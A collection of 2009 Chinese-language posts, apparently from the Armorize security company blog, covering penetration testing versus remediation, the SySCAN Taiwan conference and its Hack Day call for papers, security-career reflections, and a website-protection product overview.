『We don't prioritize by what tools can find, but by what matters』
『我們不應該由工具能找什麼，來決定優先順序，我們應該依照什麼是重要的來排』

Jeff的公司Aspect Security沒有生產產品，是一家純顧問公司。既然是顧問公司，為何要質疑滲透測試？我認為他質疑的是舊的，僅限於『偽駭客攻擊』的滲透測試觀念。那怎麼算是一個好的滲透測試團隊？滲透測試跟黑箱與白箱的掃瞄工具，以及跟WAF（Web應用程式防火牆）比起來，又該如何選擇？

在討論這個問題時，我們可以把問題大致上分為：人工vs.工具、黑箱vs.白箱以及偽駭客攻擊vs.白帽協助防守等三方面來看。

2007年我們在台灣第一次舉辦2007 OWASP亞洲年會時，我費了好大一番勁，邀到了WhiteHat Security的創辦人兼CTO Jeremiah Grossman，他是XSS一書的作者，並希望他講一些新的滲透測試觀念。於是他於台北首次演講『商業邏輯錯誤』，他去年在美國Black Hat 2008年會上，其實講的東西很類似，台灣大家賺到了。因為那時我在推展我們的源碼檢測工具的過程中，就發現大家對於人工vs.工具之比較，比較模糊。簡單的來說，Jeremiah當年所示範的『商業邏輯錯誤』，就是工具所無法找到的漏洞型態。去年OWASP亞洲年會，我邀到了從印度來的KK，也是講一樣的東西。但是重點不是工具與人何者能找哪些漏洞，何者找的比較好。我們公司同時研發自動源碼檢測工具，同時有滲透測試團隊，很多人當時有問，不衝突嗎？當然一點也不衝突。

[人工vs.工具]

人工vs.工具的比較，重點在於，人每做一天，就要算一天的工資，而工具是可以無限制的重複一直使用。所以說，工具雖然不能找到所有形式的漏洞，但是工具找漏洞有四大好處：

A. 可以無限制重複使用，找到漏洞的成本相對低。
B. 工具可以與開發流程、軟體生命週期、以及公司內部程序結合，因此很多公司要通過各種認證，需要在程序中結合工具。我沒說通過認證就一定做好了資安，但是大國如美國，認證是一定得過的。
C. 因為可以重複使用，故可以每天或甚至每小時使用，提早找出漏洞，降低修補成本並縮短資安空窗期。
D. 工具對於其所擅長找的弱點種類，可以很穩定並且無失誤的掃瞄大規模的系統，人則可能有失誤，例外時間有限，因此在涵蓋率上，工具有優勢（我們常協助客戶掃上百萬行的程式，如過用人工，要如何用眼睛看？）

但是人工具有以下優點，是工具所永遠沒有辦法取代的：

A. 不只是邏輯性的錯誤，還有一堆無線、架構、設定、與新型的各種漏洞，只有靠人工能找。工具只能掃瞄很成熟（很無聊）的漏洞，例如OWASP Top 10中的XSS與SQL injection等。
B. 攻擊是一種藝術，人才有這種嗅覺，有時看一個人有幾年的經驗，看猜密碼的能力就知道了。這種敏銳度，很難解釋，人腦是很複雜的，其威力遠勝過任何工具。
C. 有能力的滲透測試團隊，可以協助修改程式。我說過，找漏洞雖難，正確的修改更難。

在滲透測試執行的過程中，專家們往往都會拿出自己經年累月累積的一套工具組，透過工具之上述優點，配合人工的判定與智慧，以期提供最優質之服務給客戶。但是如果您是買方，結果拿到的報告中，大部分都是自動工具可以掃瞄出的漏洞，那麼你可能沒有讓您聘僱的滲透測試團隊，做最有效率，投資報酬率最高的發揮。因為在工具就能找到的部分，其實可以由您自己掃瞄，提早找到漏洞並降低修補成本。要記得國內滲透測試通常是一年做一次，滲透測試中才找到的漏洞，很可能已經存在多時了--如果提早自己使用工具，則可以縮短資安空窗期。我們這些資安顧問的時間，希望是花在幫您找尋工具所無法找到的如邏輯性錯誤等漏洞，或花在協助您正確的修補漏洞上面。

[黑箱vs.白箱]

Wikipedia上的定義，將滲透測試（penetration testing）分成黑箱（blackbox）與白箱（whitebox）兩種。簡單的說，黑箱就是很像駭客一樣，在沒有比外在駭客更多資訊的條件下，由滲透測試團隊執行『駭客任務』。這種滲透測試是大家都很喜歡做的，因為做滲透測試就像是解一個謎題一樣，除了技術外，靈感，嗅覺，經驗也都是重點--駭客技術永遠是一套藝術。但是就像我之前介紹DEFCON 2008上Chema的Blind SQL injection手法一樣，我們假設執行的過程中有以下步驟：

A. 手動找出Blind SQL injection漏洞
B. 使用Chema的工具，利用blind SQL injection暴力找出table名稱或欄位名稱
C. 進一步從table中成功取得管理帳號與密碼之hash
D. 利用高階機器跑暴力程式，成功將hash反解出密碼
E. 示範利用正確之帳號與密碼登入，整個偽駭客攻擊至此結束

這些步驟，執行時甚為精彩，不但資安專家樂於其中，客戶也常常看得拍掌叫好。可是問題有兩個（尤其在不景氣的經濟下）：

A. 找到漏洞代表提升資安品質了嗎？Blind SQL injection在哪個程式的哪一行？如何正確修復？
B. 如果有效利用專家時間，否於步驟(A)後，就應該直接協助修復？因為後續B-E所需的時間，可能遠超過修復所需的時間。

這就是Jeff說的：『但是我們沒辦法把自己「駭」得更安全』之精髓！

在白箱測試中，不論是工具或是人工，資安專家或工具由於擁有比一般真的駭客豐富許多的資訊，例如系統架構文件或程式碼等，給了資安專家或自動工具莫大的優勢，能更有效率地找出漏洞，並協助修補之。這就回應了我前面說的，在911事件中，防守遠難於攻擊，因為防守需思考成本等多種面象。

在這方面，白箱更能有效率、低成本地提升資安水平。擁有十年以上滲透測試經驗的fyodor曾說，黑箱滲透測試，其實是很沒有效率的，通常發生於雙方第一次合作，互信基礎不足，或買方有特殊原因或規範，無法提供白箱資料時。合作久，擁有充分互信的雙方，一定會開始做白箱的滲透測試，或叫『secuity review』也許比較恰當。在工具方面，根據最新的一份Gartner報告指出，2008年，白箱工具的市場已經後來居上，超過黑箱了。整個201M美金的黑白工具市場中，有126.9M是白箱，約佔63%。白箱工具去年市場成長了35%，相較去年只成長了6.5%的服務市場（包含滲透測試，code review等等）來說，相對高出很多。整個2008資安服務市場則為197M美金，略低於工具市場的201M。

[偽駭客攻擊vs.白帽協助防守]

我在這整篇中要說的重點，就是『但是我們沒辦法把自己「駭」得更安全』，一份很完整並具有風險排列的滲透測試報告，還沒有降低資安風險。Why？因為上面的漏洞只要沒有正確修補，這份報告就沒有實際提升您的資安水平。三年前19歲的Samy，上個月17歲的Mikeyy，都可以很快地寫出蠕蟲；可憐的資安專家由於每天工作就是這個，可能更快些，但是雖然不懂攻擊技術，一定不能做好防禦，但是從Plurk/Twitter/MySpace蠕蟲到911，我們看到的是，威脅已經清楚，攻擊已經老到無聊的地步，但是有效的防禦仍是那麼的困難！而我卻很驚訝的發現，一份最近刊登的『滲透測試』文章，隻字沒探討到防守面或修改面的觀念，程序，動作或經驗！成功找出弱點，只是提升資安水平的第一步，不是最後一步。好的資安團隊，必須研究修改漏洞時的各面象。譬如我們發現某json介面全部都有CSRF漏洞，但是該json介面已經發佈並廣被使用，修改CSRF需要更動介面規格，這會使所有依賴此介面之其他系統失效。這時該如何做？如果實在不能修改軟體，那麼其實WAF處理CSRF非常直覺，自動加上one-time token就好了，那麼我們是否改用免費（modsecurity）或商用WAF？我們以後在開發流程中，要建立哪些機制或程序，來避免類似漏洞之產生？在不影響現有系統之營運與效率下，正確並快速地協助漏洞的修改，並建立相關制度避免未來漏洞之產生，再再考驗著資安顧問團隊之能力與經驗。軟體是人類偉大的發明，改變了全人類的生活，帶來了科技的革命。但是為何軟體有這麼多的不安全性？為何找到漏洞了卻這麼難修？難道是這整個模式從一開始就不對嗎？目前的軟體模型出了錯？如果要建立secure-SDL來避免漏洞之產生，那麼在agile、scrum、extreme、adaptive...各種不同開發methodology之下做secure-SDL，有何不同？成熟度模型如何建立？

希望除了在『駭』方面的探討外，能多些在『修復』或進一步『避免軟體漏洞』之研究，讓軟體重生，不要永遠都當壞事的罪魁禍首。

作者 Wayne 為阿碼科技CEO

後記
最後我要抱怨一下。當然大家都不想弄這些XSS/CSRF/SQL-i，但是這是我們的工作沒辦法，這些漏洞是現在客戶最苦惱的。可是怎麼苦工都我在做勒？SS7交換機、iphone、android、rfid、LLVM/ASA，大家玩得不亦樂乎，讓我在旁邊流口水... 可是改天要你們來寫blog，換我週末來玩這些！

關於2009 SySCAN前瞻資安技術年會之舉辦

2009-05-08T02:03:00.016+08:00

SySCAN又要開辦了，回想去年SySCAN，辦得真的很過癮，原本預計只有80個人，結果來了這麼多人，事後也收到大家的email，真的非常謝謝各位的支持！SySCAN是很高品質的駭客年會，所以去年Thomas（COSEINC）表達希望把SySCAN引進台灣時，我一口答應支持他。去年辦得只有一個「爽」字可以形容，大會虧了四十多萬，阿碼跟COSEINC對半拆，雖然虧錢，但是本來雙方就有共識要做些回饋社群的事情，也有編列預算，這些對公司都是小錢，大家的支持才是最難得的，所以回想去年，內容好，聽眾好，真的是很過癮！（照片與內容可參考這裡：http://syscantaiwan.blogspot.com）

今年Thomas說COSEINC可以自負盈虧，阿碼則仍然同為主辦單位，協助挑選講師，定義會議方向與執行活動，虧損獲盈餘的部分則全部由COSEINC負責。今年也改由COSEINC直接處理報名收費與開立發票部分。我們當然很感謝COSEINC這樣的決定，但是也擔心COSEINC的負擔會太大。今年公佈的門票為每人3000NTD，雖然不是我決定的，也比去年貴，但是我覺得還是很合理的。今年新加坡部分（比台北早一個星期，然後講師飛來台灣）今年一票13,478台幣，Black Hat則是46,062台幣，都很貴，出國又要加上時間，機票，住宿等。我們看SySCAN，是幾乎與Black Hat同等級的資安會議，台北還比新加坡多了一天的「害翻天Hack Day。」我們覺得COSEINC已經很用心壓低票價，希望各位今年能繼續支持！其實我們辦這些會議主要的目的，還是回饋社群。SySCAN去年虧40萬，OWASP去年虧了約50萬，台灣的資安會議要賺錢？那真的很厲害！台灣不比美國，資安社群很小，要願意投資這麼多時間與人力，辦出優質的駭客年會，這要對資安很有熱情的團隊才會願意投入。如果是要賺錢的話，以阿碼來說，產品已經在全球大賣，一場會議能賺多少錢？一個人3000NTD，300人也才90萬，即使不需要場地成本，食物成本，講師機票，住宿，用餐，招待等成本...90萬以阿碼來說，賣一套CodeSecure就不只了，不用大家花幾個月的時間與心血來辦一場會議 :) 但是同時，其實這些經費對阿碼與COSEINC來說都是小錢，能把會議辦好，以及大家的支持，才是最重要的。我們覺得大家真的幫助了我們太多，能回饋各位的地方，我們會盡力來做。

我個人的部分，由於我現在擔任OWASP總部的全球會議委員，負責協助舉辦OWASP一年三次的大會：美國、歐洲與亞洲，再加上阿碼的工作，本身已經真的太多事情了。SySCAN是非常高品質的駭客會議，能來台北舉辦並自負盈虧也處理許多如報名收費等事務，我當然很高興，讓我也有更多的時間與資源同時把今年OWASP辦好。加上今年講師群真的是有夠強，又決定加一天的Hack Day，讓社群多些時間交流，每天想到就熱血沸騰，也很謝謝COSEINC的努力！

大會議程與講師介紹的中文部分，這幾天是我把工作拖到了，希望今天就能公佈，請各位拭目以待。

另外SySCAN「害翻天Hack Day」徵求講師，CFP請見：
http://armorize-cht.blogspot.com/2009/04/syscan-hack-day.html
http://armorize-cht.blogspot.com/2009/05/no-tech-1.html

大會官方blog: http://www.syscan.org
大會官網：http://www.syscan.org

去年照片：

No Tech -- 1

2009-05-03T02:25:00.004+08:00

打從公司的非官方部落格設立開始，我就知道我不會發表有關技術性的文章，我想探討更多隱性的議題，所以很抱歉，本篇 “無料”。

適逢今年的 SySCAN Taiwan 籌備中，去年辦得很成功，今年則嘗試舉辦了一個 Hacker Day 的活動，事實上辦這樣的活動並不容易，需要很多因素才會出色。

在討論一個資安會議的出色因素前，我想先討論會議本質，很多投稿者沒有釐清會議本質就來投稿，就算是躺著都會被打槍 :) 試問：
1. 投稿者是否過去參加相關的會議，了解會議所需素材的方向？
2. 投稿者是否閱讀或閱聽過去相關會議的簡報檔或多媒體檔，了解內容的技術水準？

如果你把能投 ACM 的論文投去 USENIX，把能投 DEFCON 的論文投去 IEEE，試想被 accept or reject 的機率孰者為高？政治正確很重要。

以下是幾個我個人認為的會議因素：
[內容]
1. 當我們把研究分為威脅研究和技術研究的時候，有的會議都收，有的會議偏重純技術。
2. 投稿者是否已 study 相關領域的發表？有創新的思路或利用方法很重要，或是別人僅僅在討論階段的方法，而你實作工具出來。如果是資料的蒐集整理，新意卻不足，就可惜了。

[技巧]
1. 對我個人來說，演講技巧是最不重要的，正因為身為工科背景，所以可以同理理解，並不是每個技術領域的人都擅長演說，技巧不足，其實掩蓋不了技術本身的璀璨。
2. 當然，好的技巧確實加分；不過，這也和演講者對於聽眾技術背景的定位有關，有時候一個高手的喝采，抵過滿場的掌聲； touch 不到點的發問，才有知音人難覓的感概。

[人才]
丁丁真的是個人才（誤）。

SySCAN 本身募集了相當多的歪果知名講師，其用意是舉辦高質量的技術活動。
SySCAN Taiwan Hacker Day 的用意卻是希望吸引 Taiwan 夠技術水準的職業人士，業餘人士來共襄此一盛事。

以一般資安會議來說，主要的內容提供者還是以業界和學術界為多。
而台灣業界真的有專職設立研究人員或是有研究氛圍的少，畢竟主要還是以產品開發或是技術服務為工作內容,自然產生paper的質與量就有限。
而學術界專注於這麼應用面的研究單位，好像也就這麼幾個，要滿足 Hacker Day 的需求，也是需要讀者們協助本活動的宣傳。

我故意把 '人' 這個因素擺在最後，也用了 SySCAN Hacker Day 做為一個引子，自己作為資安產業一員，我想內視自己心中的吱喳聲 :)

[道德標準]
安全管理作為安全產業的一環，似乎更要求道德標準，而安全技術人員的道德標準水位，似乎一直難以定義。
舉一個某社的口號，"我們公司不錄用會寫病毒的人"，當我們更細分：
"我們公司不錄用研究病毒技巧的人"
"我們公司不錄用寫病毒惡作劇的人"
"我們公司不錄用寫病毒賺錢的人"
以上三者，事實上，放在不同組織，其選擇會有不同的集合，適才，適所。

[熱情]
在這個IT產業的一隅，熱情非常重要，資訊和技術變動的非常快，投入於其中是耗時的，時間總是不夠。
我看到了我的幾位同事，很是佩服，身為孩子的爸，有的還不只一個，還可以半夜一兩點討論資安產業的訊息，我想這是真的有熱情的人才做得到的。

熱情也決定你同一類型工作的支撐力道，當你工作中的心情總是愉悅著，偶有壓力卻也算不了苦。
當然，熱情也會 burn out，失去熱情的工作，對某些人來說，連一杯咖啡的時間都不願意等待。

[思考模式]
如果我們將思考模式分為正向思考，逆向思考，跳躍式思考，資安技術從業人員似乎需要更多的非正向思考方式，並要能與正向思考連結之。
很多時候，必須推理分析一個網站結構，網路拓樸，維護者習慣，軟體的設計，邏輯瑕疵…等等。

從業人員也需要一個符合其特質的工作環境，才能適當地與其溝通之。﹙別忘記，媒體總愛型塑這樣的人格特質 :D）

[敏感]
這裡的敏感，指的是在一個大家看起來是無害的事物，能夠察覺是一個 risk，甚至是 vulnerability。
或是從不完整的資訊，能夠歸納出接近事實的結果.

比較實際的感覺，也許玩過 Wargame 的人就能理解，有的時候就是一個 sense，或者該說聯想的程度 :p

[趣味]
趣味對某些人來說就是成就感，哪怕是博君一笑，甚至是 Do Evil.
當然你得先了熟悉你自己，有的人是寫程式寫得好會有成就感，有的人是處在安全產業的攻與防，自有無窮樂趣。

還記得高中的時候寫程式，也是寫遠端遙控程式，寫來自己玩很得意；也誤擊過小綿羊.exe，變成 SubSeven 的被控端 :(
直到我進入了這個圈子，才確認自己的歸屬，寫程式﹙作/避免）邪惡的事情才有趣，對我而言，並非寫程式本身就有趣；寫自己想寫的，摸索研究技術上的東西才有趣。

認識的一些朋友似乎也是這樣懵懵懂懂，招搖撞騙才認識自己更深；年輕的讀者，你找到歸屬了嗎？

[產業]

還記得這個口號嗎？ "不錄用會寫病毒的人"，換個角度，這些技術人才的就業情況如何了？

"不符高道德標準" -> "往較低道德標準的工作機會發展"
"對資安工作熱情不夠" -> "往非資安工作發展"

還有甚麼可能呢？ "不懂資安這個產業"!!

一開始的初衷就是好玩，沒有想到可以以這個混口飯吃，更沒有想過這樣的產業也是有前景的. ﹙無心插柳柳橙汁）
後來才領悟，當你學了一堆密碼學，網路安全課程的時候，人肉市場的供需資訊並不對稱，中間有個 gap 需要被填滿。

將近10年前，我認識 Birdman 的時候，也一起認識了 PK，那時候有好幾位都在研究系統軟體，電腦病毒，軟體破解保護，直到我當兵前當兵後，發現怎麼越來越少同好了，Birdman 跟我說，都去寫軟體了，資安會餓死。

P.S Birdman 現在還是瘦瘦的，還健在 XDD

還有甚麼可能呢？ "資安產業規模及其限制"!!

你所會的技術基礎，台灣沒有符合的產業。
過去，你專精 compiler，你可能就會去寫 toolchain；現在，如各位所知道的，我們就有一項產品是用這樣的技術做出來的。
過去，你可能找來找去，不是 SI 就是代理商，因為台灣市場太小，自己做產品很容易餓死 :)
過去，你可能找來找去，不是 anti-spam，就是做 content filter，因為那樣的產品技術門檻相對的低，而且會被視為IT基礎建設，還可以有外銷的市場。

我相信還有很多業餘的資安技術份子存在著，或者是體內帶有資安因子﹙ex：你明明是個金鋼狼，可是你還在和正常人一起生活著），更甚至你過去求職不順，收到太多"你已經加入人才資料庫，需要的時候會聯絡你"的 HR好人卡。
Armorize有高科技的潛力X光機，可以協助你一展長才。

*記得* ：踴躍投稿 Hacker Day 很重要，一個了解資安人才需求的工作環境也很重要。

想了解 Armorize 有哪些人力需求歡迎聯絡 Wayne（wayne在armorize點com）
想在投稿前，找人討論技術問題歡迎聯絡 Kuon （kuon在armorize點com）

SySCAN Hack Day「駭翻天」徵求講師

2009-04-30T05:26:00.017+08:00

(轉貼自：http://syscantaiwan.blogspot.com/2009/05/syscan-hack-day.html）


   _____       _____ _________    _   __   ______      _                    
  / ___/__  __/ ___// ____/   |  / | / /  /_  __/___ _(_)      ______ _____ 
  \__ \/ / / /\__ \/ /   / /| | /  |/ /    / / / __ `/ / | /| / / __ `/ __ \
 ___/ / /_/ /___/ / /___/ ___ |/ /|  /    / / / /_/ / /| |/ |/ / /_/ / / / /
/____/\__, //____/\____/_/  |_/_/ |_/    /_/  \__,_/_/ |__/|__/\__,_/_/ /_/ 
     /____/                                                                 
    __  __           __      ____                   ____  ____ 
   / / / /___ ______/ /__   / __ \____ ___  __  // / __ \/ __ \
  / /_/ / __ `/ ___/ //_/  / / / / __ `/ / / / // / / / / /_/ /
 / __  / /_/ / /__/ ,<    / /_/ / /_/ / /_/ /    / /_/ /\__, / 
/_/ /_/\__,_/\___/_/|_|  /_____/\__,_/\__, /     \____//____/  
                                     /____/

SySCAN Taiwan Hack Day 2009 call for papers
SySCAN Hack Day「駭翻天」徵求講師
（請大家盡量幫忙轉貼）
今年的SySCAN前瞻資安技術年會，將於七月七日-八日，於台北與各位見面，感謝各界的投稿，今年的講師陣容格外堅強，全都是國際知名資安研究員（大駭客），BlackHat / DEFCON / XSecWest等國際駭客年會的講師，包括了：Dave Aitel（Immunity創辦人兼技術長、多屆BlackHat/DEFCON講師）、Charlie Miller（CanSecWest的Pwn2Own ‘08/’09兩屆冠軍）、Matt Conover（RSA、SANS、CanSecWest）、Stefan Esser（PHP安全第一人）、Justine Osborne（BlackHat、DEFCON）、Marc Schoenfeld（BlackHat）、Fyodor（BlackHat、HITB）、Jeremy Chiu（aka “Birdman”，SySCAN、OWASP）、Wayne Huang（RSA、OWASP、PHP）、Ben Nagy（Infosecurity, Ruxcon）等人，從Web安全，到路徑安全，到PHP核心安全，到虛擬化之安全，到Apple iPhone手機安全，到Google Android手機安全，保證每一場都精彩無比，讓大家接觸最前瞻之資安技術。

去年問卷反應第一的問題，是舉辦的時間希望為假日而非上班時間。但是本會的設計是緊接著SySCAN Singapore，新加坡結束後，講師才飛來台灣，故星期六比較困難，但是星期日是可以的。另一方面，其實有另一群與會者是希望本會在上班時間舉行的，因為視此為教育訓練之一部分，假日反而不方便。另一個多人反應的，是希望有教育訓練。經過多方考量與討論，我們決定將今年的SySCAN延長為四天，分為三部分活動，七月六日（週一）為SySCAN教育訓練日，課程將公佈於部落格與官網（*），七月七日-八日（週二、三）則為「SySCAN前瞻資安技術年會」，七月五日（週日）則首次舉辦「SySCAN Hack Day」（「SySCAN駭翻天」），活動一天，一人600NTD含中午便當與簡單茶水，Dave Aitel將做開場演講，而另外徵求講師，故發佈此call for paper。每位錄取之講師將由大會補助車馬費（Full talk=4000，Turbo talk=2000 NTD），免費參加七月七日-八日之「SySCAN前瞻資安技術年會」，並邀請參加七月七日之講師派對（speaker’s party），與SySCAN其他講師一起慶功，high到最高點！
「SySCAN前瞻資安技術年會」講師亦將到場與所有與會者一起於結束時投票，票選出最佳「Hack Day」講師，將致贈MacBook一台，與「SySCAN Hacker of the Day」獎狀一只，封為「SySCAN年度大駭客」。曾被封為「SySCAN年度大駭客」之講師，往後於會議再度演講時，一律補助車馬費（Full talk=6000，Turbo talk=3000 NTD）。
不論是車馬費、獎狀或MacBook，都是「SySCAN前瞻資安技術年會」之講師所沒有的！另外沒有錄取之前十名遺珠，將可半價參加Hack Day（不會公開姓名）。
報名「SySCAN前瞻資安技術年會」者，則可免費參加「SySCAN Hack Day」。
*最新資訊請見SySCAN前瞻資安技術年會blog：http://syscantaiwan.blogspot.com與SySCAN官網：http://www.syscan.org
*票價部分，七月5日Hack Day一票500NTD，全程三天（七月5日Hack Day，七月7-8日SySCAN Taiwan）共3000NTD，見：http://www.syscan.org/Tpe/registration.html

<<「SySCAN Hack Day」大會風格 >>
資安技術頂尖者，叫做「大駭客」。但是駭客是不破壞的，駭客會遵守負責的弱點揭露程序。「大駭客」技術一流，但是絕對不「黑」。「黑」不是「厲害」的代名詞，「黑」代表的是「不負責」、「犯罪」等行為。SySCAN敬仰大駭客但是鄙視「不負責」與「犯罪」之行為。「黑」很容易，看做不做而已，但是「大駭客」很不容易。我們歡迎各位駭客踴躍投稿！

<< 評審委員 >>
1. Thomas Lim（大會主席）, Founder & Orgainser of SySCAN, Founder & CEO of COSEINC
2. Wayne Huang（大會主席）, Co-organiser of SySCAN Taiwan, Founder & CEO of Armorize（阿碼科技）
3. Dave Aitel – Founder and CTO of Immunitysec
4. Kuon Ding – Senior Security Researcher of Armorize ASF
5. Matthew “Shok” Conover – Symantec
6. Jack Yu – Senior Security Researcher of Armorize ASF
第一階段先由熟悉中文之評審委員挑出具吸引力之投稿，然後將演講題目與大綱翻譯成英文後，英語系國家之評審委員共同決定最後錄取之講師。每一份投稿皆會收到被拒絕或被接受的原因。沒有錄取之前十名遺珠，將可半價參加Hack Day（不會公開姓名）。

<< 評分方法 >>
1. 內容技術紮實度 30%
2. 主題具前瞻性 20%
3. 講師為好的演講者 20%
4. 內容實用性 20%
5. 主題適合或吸引聽眾 10%

<< 演講種類 >>
演講希望以中文為主，其次為英文
A. Full talk：50 分鐘演講，徵求約四位講師
B. Turbo talk: 15 分鐘演講，徵求約四位講師

<< 重要日期 >>
公佈cfp與開放投稿：2009年五月一日
投稿截止：2009年六月五日或當評審委員覺得已經挑足講師時。所以早投早贏！
公佈錄取者：2009年六月十五日
Hack Day日期：2009年七月五日
前瞻資安技術年會日期：2009年七月七日-八日
講師派對：2009年七月七日晚

<< 投稿方式 >>
請將資料email至：cfp在syscan點org或hackday在armorize點com，主旨請註明：Hack Day 投稿
格式：
A. 姓名或代號：
B. Email：
C. 電話（手機佳）：
D. 公司或學校：
E. 投稿種類：1. Full talk，2. Turbo talk
F. 題目：
G. 投稿內容：可以略寫大綱，但是有投影片或其他輔助資料當然更好
H. 是否將在大會上發表免費工具或paper？
I. （此項可免）講師簡歷，包含曾經擔任之講師經驗：

<< 徵求題目 >>
今年特別徵求與「實際經驗」、「事件調查」或「資安鑑識」有關之題目。例如處理資安事件之實際案例與經驗，執行某次資安鑑識時之歷程，調查某資安威脅之經過等。
今年題目包含但不限於以下：
* 各類威脅之研究
* 大規模攻擊（掛馬、轉址、DNS、DDoS…）
* 實際經驗之分享，包括「事件調查或「資安鑑識」等經驗分享
* 作業系統安全（Vista、Linux）
* 行動裝置與嵌入式系統安全（SmartPhones、PDAs、Game Consoles）
* Web 2.0之安全（Web services、PHP / .NET / .asp / .jsp / J2EE / Ruby / Perl / Python）
* Web應用程式安全
* 計算機網路與電信網路之安全（VoIP、3G/3.5G network、IPv6、WLAN/WiFi、GPRS、SS7）
* 新一代技術之安全（Chrome、IE8、Android、iPhone）
* 虛擬化安全
* 惡意程式/Rootkits
* 僵屍網路（BotNets）
* 法律與駭客
* 任何有趣之題目

<< 如何可以投上？ >>
現在各國都有很多高水準之駭客年會，但是每個年會之風格卻截然不同，這完全看大會主席之定調，與評審團之組成與希望達成之會議文化。舉例來說，「SySCAN前瞻技術年會」希望提供與會者的是最前瞻的資安攻擊與防禦技術。所以在本年會中，即使某講師投稿了某大廠的超級0-day（零時差漏洞），也不見得會錄取--因為大會的目的不在提供破壞用的工具。此0-day之影響範圍再大，但是非新的漏洞形式、概念、或找到的方法也非利用新的方法，那麼就很難錄取…即使這是一個超級的微軟或linux或Adobe 0-day漏洞，也是一樣。因為SySCAN覺得，這種漏洞或威脅並非新類型，與會者並不會因為聽了這場演講而得到了新的資安知識，只是得知了一個新的打站工具或管道，而這個管道在0-day修復後就沒有價值了。相對的，如果該0-day為新類型之漏洞，或者為新的，往後可能成為重大威脅的漏洞，或者是利用新的方法找出來的漏洞，那麼即使該0-day目前影響範圍有限，還是很可能錄取。當然，SySCAN提倡負責的揭露，所以即使錄取後，也必須評估對方是否來得及在會議舉行前修復完畢等因素。
接下來就讓我們拿這次公佈的評選標準來談吧。

1. 內容技術紮實度 25%。SySCAN是很技術性的會議，所以技術內容之紮實度一定排第一。其實我們覺得在資安領域，其實管理面的挑戰與所需要的知識，一點也不比技術領域低，但是SySCAN是以技術為主的會議，所以首重技術之紮實度。

2. 主題具前瞻性 25%。這對本會太重要了，譬如某講師投稿了一個影響範圍極大的某大廠buffer overflow（緩衝區溢位）0-day，雖然很具話題性與「利用價值」，但是buffer overflow本身並非新型態的攻擊，而該講師也並非利用新的或特殊的方法來找到該漏洞，那麼可能錄取的機率就比較低。另外，什麼是「真的」前瞻性，也很重要。譬如某講師投稿了ARP spoofing / ARP poisoning研究，雖然近幾年ARP spoofing在台灣與大陸發生的案例非常頻繁，中文的資料似乎也不多，但是在資安領域超過十年的人，應該都記得，ARP spoofing / poisoning，是非常古老的攻擊，屬於可以放在教科書中的攻擊類型。由於太簡單，太常用，又用了太久了，所以近年來並沒有太多人願意做這方面的技術文章或演講；雖然近幾年在台灣用得非常頻繁，但是這並不表示這是具前瞻性之技術或威脅—這其實是超過十年並且很基本的手法。但是如果講師注意到，目前很多人其實對ARP spoofing/poisoning有誤解，誤認為是「sniffing的第一步」，而不知ARP是乙太網路上的協定，在骨幹上有很多地方其實並沒有乙太網路，ARP根本派不上用場，但是仍有很多其他sniffing的方式，例如打gre tunnel，玩BGP，弄OSPF，藉由SNMP設定switch，攻擊某些L4/L7加速器等，感染路由器等，而做一個「最新sniffing威脅整理」，那麼就會是具有前瞻性的好演講。

3. 講師為好的演講者 20%。SySCAN不但重視講師的內容，也重視演講的方式與台下的吸收。講師的內容再精彩，演講方式單調，表達不好，或沒有注意台下的反應，一下子講得太快太難，結果台下都睡著了，那就沒有達到吸收的效果。Matt Conover我們就認為在這方面非常有經驗，總是能抓住聽眾的水平，隨之調整速度，並隨時注意台下反應，是很好的講師。此外，講師就像球員一樣，這方面的分數是累積來的，就像網球中，排名前面的球員不用打會外賽，是一樣的道理。如果你很注意自己的表現，每一場都準備得好，講得好，當然你在評審心中的積分就高。如果都沒有講過，也不用擔心，凡是都有第一次，好的會議是很願意給新人機會的。但是如果投上了，一定要好好準備，不然搞砸了一次，下次要上就很難了。練習的時候，可以找朋友聽你試講，並且一定要錄音下來，放回來給自己聽，很有幫助。很多人第一次聽到自己的錄音都說：恩，我錄起來不像我…我講話不像這樣…。No，那個絕對就是你。

4. 內容實用性 10%。如果講的方法非常困難，對於一般人來說，根本不可能有環境來重複該手法，那就不具有實用性了。相對的，如果隨演講提供其他可讓聽眾受惠之資料，如公開免費工具、paper下載等，這方面的分數一定高。

5. 主題適合或吸引聽眾 10%。這考慮的是聽眾目前最有興趣的是什麼。假設最近ARP spoofing猖狂，讓很多新人想了解到底什麼是ARP spoofing，那麼一個相關的演講，雖然在「前瞻性」上得分不會高，但是在「吸引聽眾性」上卻是拿高分的。

最後，好的會議一定要投稿，不用怕，因為沒上也沒人知道你有投，況且沒上也並不表示你的研究不好，可能只是與大會今年主題不切合而已。但是好的會議都有好的評審團，回覆時會附上他們的意見，這些意見很具有參考價值。歡迎各位踴躍投稿，我們會場見！

最新資訊請見SySCAN前瞻資安技術年會blog：http://syscantaiwan.blogspot.com與SySCAN官網：http://www.syscan.org

SySCAN Taiwan大會主席 Thomas Lim與Wayne Huang 敬邀
有任何問題歡迎email Thomas（organiser 在syscan點org）或Wayne（wayne在armorize點com）

全方面的網站防護－技術介紹與案例

2009-04-27T11:28:00.012+08:00

前言：
阿碼科技將與您分享網站威脅之實務案例與因應，更以「弱點的一生」來詮釋如何最有效地利用阿碼之「網站健診服務包（Armorize AppSec Suite）」中的「程式碼資安檢測（源碼檢測；CodeSecure）」、「網站應用層防火牆(SmartWAF)」、「即時安全監控(HackAlert)」、以及「木馬間諜檢測軟體(Archon Scanner)」等技術，讓企業在有限的資源下，擁有全方位的網站防護。相信透過實戰經驗分享成功案例，阿碼科技一起與您讓駭客無洞可鑽，享受網站安全、顧客安心、歡心獲利！

一、弱點的一生

上圖，很明顯提的是「系統」弱點的一生，這圖以前就常常被拿來說明了，只是是在 IDS、IPS 的時候，你有注意到嗎？所以我把 IPS 的防護作用放進去了，網路應用程式防火牆 (WAF)的功能與作用是很類似入侵偵測防護(IPS)設備的。

上圖，就是「網站應用程式弱點的一生」，因為網站有包含需求、規畫、開發、測試、上線...的程序，當然，每個階段都有可能造成「弱點」，主要有網站邏輯設計錯誤、網路應用系統安全弱點 (OWASP)、SOP 程序弱點。這邊先針對 SOP 程序弱點舉例說明，網站上線之前應該有需要有一個類似標準作業程序(SOP)的文件，依據此進行網站上線前的一一檢點，確認每個項目都已經完成安全查核，其中應包含一項查核為「HTTP PUT Method」的檢測，做為確認系統無法隨意以 PUT 方式將檔案放入網站上，這通常都是對網站設定管理的不熟悉造成，為了避免相關的疏忽，可以發展一個「網站上線前的安全檢核清單」，避免這類設定不當造成問題。
